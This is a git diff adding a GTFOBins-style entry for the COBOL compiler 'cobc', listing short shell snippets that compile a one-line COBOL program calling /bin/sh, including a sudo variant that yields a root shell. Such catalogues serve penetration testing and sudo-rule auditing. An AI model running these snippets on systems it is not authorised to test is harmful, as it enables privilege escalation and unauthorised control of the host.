diff --git a/_gtfobins/cobc.md b/_gtfobins/cobc.md
new file mode 100644
index 0000000..bbde295
--- /dev/null
+++ b/_gtfobins/cobc.md
@@ -0,0 +1,13 @@
+---
+functions:
+  shell:
+    - code: |
+        TF=$(mktemp -d)
+        echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
+        cobc -xFj --frelax-syntax-checks $TF/x
+  sudo:
+    - code: |
+        TF=$(mktemp -d)
+        echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
+        sudo cobc -xFj --frelax-syntax-checks $TF/x
+---